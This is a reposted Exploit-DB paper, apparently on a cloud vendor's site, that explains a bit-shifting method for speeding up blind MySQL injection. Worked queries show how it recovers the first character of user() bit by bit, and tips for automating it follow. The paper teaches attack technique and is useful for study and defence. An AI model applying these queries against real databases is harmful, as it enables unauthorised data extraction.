Faster Blind MySQL Injection Using Bit Shifting

本文涉及的产品
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
简介: http://www.exploit-db.com/papers/17073/Faster Blind MySQL Injection Using Bit Shifting#### http://h.

http://www.exploit-db.com/papers/17073/

Faster Blind MySQL Injection Using Bit Shifting


###
# http://h.ackack.net/faster-blind-mysql-injection-using-bit-shifting.html for a HTML version
#    Made by Jelmer de Hen
#       H.ackAck.net
#####
While strolling through mysql.com I came across this page http://dev.mysql.com/doc/refman/5.0/en/bit-functions.html.
There you can view the possibility of the bitwise function right shift.
A bitwise right shift will shift the bits 1 location to the right and add a 0 to the front.
Here is an example:
mysql> select ascii(b'00000010');
+--------------------+
| ascii(b'00000010') |
+--------------------+
|                  2 |
+--------------------+
1 row in set (0.00 sec)
Right shifting it 1 location will give us:
mysql> select ascii(b'00000010') >> 1;
+-------------------------+
| ascii(b'00000010') >> 1 |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set (0.00 sec)
It will add a 0 at the front and remove 1 character at the end.
00000010      = 2
00000010 >> 1 = 00000001
^      ^
0      shifted
So let's say we want to find out a character of a string during blind MySQL injection and use the least possible amount of requests and do it as soon as possible we could use binary search but that will quickly take a lot of requests.
First we split the ascii table in half and try if it's on 1 side or the other, that leaves us ~64 possible characters.
Next we chop it in half again which will give us 32 possible characters.
Then again we get 16 possible characters.
After the next split we have 8 possible characters and from this point it's most of the times guessing or splitting it in half again.
Let's see if we can beat that technique by optimizing this - but first more theory about the technique I came up with.
There are always 8 bits reserved for ASCII characters.
An ASCII character can be converted to it's decimal value as you have seen before:
mysql> select ascii('a');
+------------+
| ascii('a') |
+------------+
|         97 |
+------------+
1 row in set (0.00 sec)
This will give a nice int which can be used as binary.
a = 01100001
If we would left shift this character 7 locations to the right you would get:
00000000
The first 7 bits are being added by the shift, the last character remains which is 0.
mysql> select ascii('a') >> 7;
+-----------------+
| ascii('a') >> 7 |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)
a = 01100001
01100001 >> 7 == 00000000 == 0
01100001 >> 6 == 00000001 == 1
01100001 >> 5 == 00000011 == 3
01100001 >> 4 == 00000110 == 6
01100001 >> 3 == 00001100 == 12
01100001 >> 2 == 00011000 == 24
01100001 >> 1 == 00110000 == 48
01100001 >> 0 == 01100001 == 97
When we did the bitshift of 7 we had 2 possible outcomes - 0 or 1 and we can compare it to 0 and 1 and determine that way if it was 1 or 0.
mysql> select (ascii('a') >> 7)=0;
+---------------------+
| (ascii('a') >> 7)=0 |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)
It tells us that it was true that if you would shift it 7 bits the outcome would be equal to 0.
Once again, if we would right shift it 6 bits we have the possible outcome of 1 and 0.
mysql> select (ascii('a') >> 6)=0;
+---------------------+
| (ascii('a') >> 6)=0 |
+---------------------+
|                   0 |
+---------------------+
1 row in set (0.00 sec)
This time it's not true so we know the first 2 bits of our character is "01".
If the next shift will result in "010" it would equal to 2; if it would be "011" the outcome would be 3.
mysql> select (ascii('a') >> 5)=2;
+---------------------+
| (ascii('a') >> 5)=2 |
+---------------------+
|                   0 |
+---------------------+
1 row in set (0.00 sec)
It is not true that it is 2 so now we can conclude it is "011".
The next possible options are:
0110 = 6
0111 = 7
mysql> select (ascii('a') >> 4)=6;
+---------------------+
| (ascii('a') >> 4)=6 |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)
We got "0110" now and looking at the table for a above here you can see this actually is true.
Let's try this on a string we actually don't know, user() for example.
First we shall right shift with 7 bits, possible results are 1 and 0.
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 7)=0 |
+--------------------------------------+
|                                    1 |
+--------------------------------------+
1 row in set (0.00 sec)
We now know that the first bit is set to 0.
0???????
The next possible options are 0 and 1 again so we compare it with 0.
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 6)=0 |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)
Now we know the second bit is set to 1.
01??????
Possible next options are:
010 = 2
011 = 3
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 5)=2 |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)
Third bit is set to 1.
011?????
Next options:
0110 = 6
0111 = 7
mysql> select (ascii((substr(user(),1,1))) >> 4)=6;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 4)=6 |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)
This bit is also set.
0111????
Next options:
01110 = 14
01111 = 15
mysql> select (ascii((substr(user(),1,1))) >> 3)=14;
+---------------------------------------+
| (ascii((substr(user(),1,1))) >> 3)=14 |
+---------------------------------------+
|                                     1 |
+---------------------------------------+
1 row in set (0.00 sec)
01110???
Options:
011100 = 28
011101 = 29
mysql> select (ascii((substr(user(),1,1))) >> 2)=28;
+---------------------------------------+
| (ascii((substr(user(),1,1))) >> 2)=28 |
+---------------------------------------+
|                                     1 |
+---------------------------------------+
1 row in set (0.00 sec)
011100??
Options:
0111000 = 56
0111001 = 57
mysql> select (ascii((substr(user(),1,1))) >> 1)=56;
+---------------------------------------+
| (ascii((substr(user(),1,1))) >> 1)=56 |
+---------------------------------------+
|                                     0 |
+---------------------------------------+
1 row in set (0.00 sec)
0111001?
Options:
01110010 = 114
01110011 = 115
mysql> select (ascii((substr(user(),1,1))) >> 0)=114;
+----------------------------------------+
| (ascii((substr(user(),1,1))) >> 0)=114 |
+----------------------------------------+
|                                      1 |
+----------------------------------------+
1 row in set (0.00 sec)
Alright, so the binary representation of the character is:
01110010
Converting it back gives us:
mysql> select b'01110010';
+-------------+
| b'01110010' |
+-------------+
| r           |
+-------------+
1 row in set (0.00 sec)
So the first character of user() is "r".
With this technique we can assure that we have the character in 8 requests.
Further optimizing this technique can be done.
The ASCII table is just 127 characters which is 7 bits per character so we can assume we will never go over it and decrement this technique with 1 request per character.
Chances are higher the second bit will be set to 1 since the second part of the ASCII table (characters 77-127) contain the characters a-z A-Z - the first part however contains numbers which are also used a lot but when automating it you might just want to try and skip this bit and immediatly try for the next one.
© Offensive Security 2011

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
sbs
|
SQL 存储 监控
One SQL to Rule Them All: An Efficient and Syntactically Idiomatic Approach to Management of Streams and Tables 论文翻译
One SQL to Rule Them All: An Efficient and Syntactically Idiomatic Approach to Management of Streams and Tables[文件: One SQL to Rule Them All- An Efficient and Syntactically Idiomatic Approach to Manag
sbs
160 0
One SQL to Rule Them All: An Efficient and Syntactically Idiomatic Approach to Management of Streams and Tables 论文翻译
|
SQL 存储 算法
《Optimization of Common Table Expressions in MPP Database Systems》论文导读
Optimization of Common Table Expressions in MPP Database Systems
《Optimization of Common Table Expressions in MPP Database Systems》论文导读
|
SQL 算法 安全
Dynamic Programming Strikes Back - MySQL8.0的新优化器
这篇paper是著名的DPccp算法的延续,仍然是讨论如何最高效的基于Dynamic Programing,实现join ordering这个SQL查询优化中最为核心的功能。
249 0
Dynamic Programming Strikes Back - MySQL8.0的新优化器
|
SQL 存储 算法
The MemSQL Query Optimizer: A modern optimizer for real-time analytics in a distributed database
今天我们要介绍的MemSQL就采用这样一种新的形态(Oracle也变为了这种方式 ):即在做transformation时,要基于cost确定其是否可应用。 当然,本篇paper不止讲解了CBQT,还包括一些MemSQL优化器其他方面的介绍,包括一个有意思的heurstic based bushy join的方案。
344 0
The MemSQL Query Optimizer: A modern optimizer for real-time analytics in a distributed database
|
SQL Oracle 算法
Cost-based query transformation in Oracle
这篇paper主要介绍了Oracle从10g开始引入的CBQT(Cost Based Query Transformation)框架。虽然以Oracle历来的风格,无法期待它在paper中讨论很多细节,不过这篇还是可以让我们一窥Oracle对于query rewrite的处理思路和很多非常实用的query rewrite模式,对于开发优化器的同学很有参考意义。 值得一提的是,PolarDB目前也在做这方面的工作,而主要的参考正是这篇paper。此外这篇paper的思路和MemSQL optimizer中对query rewrite的处理思路非常接近,关于MemSQL optimizer的介绍可
261 0
Cost-based query transformation in Oracle
|
SQL Go
A Beginner’s Guide to the OUTPUT Clause in SQL Server
原文 A Beginner’s Guide to the OUTPUT Clause in SQL Server T-SQL supports the OUTPUT clause after the inception of SQL server 2005 and later editions.
1269 0
|
NoSQL PHP Redis
WordPress Caching Solutions Part 1 – Performance Benchmarking and Installing Redis Object Caching
In previous tutorials I took you through the steps to set up a new server instance, then get your WordPress sites up and running, including transactional emails.
2387 0
|
SQL 关系型数据库 C语言
Principles and Applications of the Index Types Supported by PostgreSQL
Open data interfaces that allow PostgreSQL to support a wide range of different data types.
1672 0
|
关系型数据库 MySQL Oracle
MySQL Performance Tuning: Tips, Scripts and Tools
With MySQL, common configuration mistakes can cause serious performance problems.
1452 0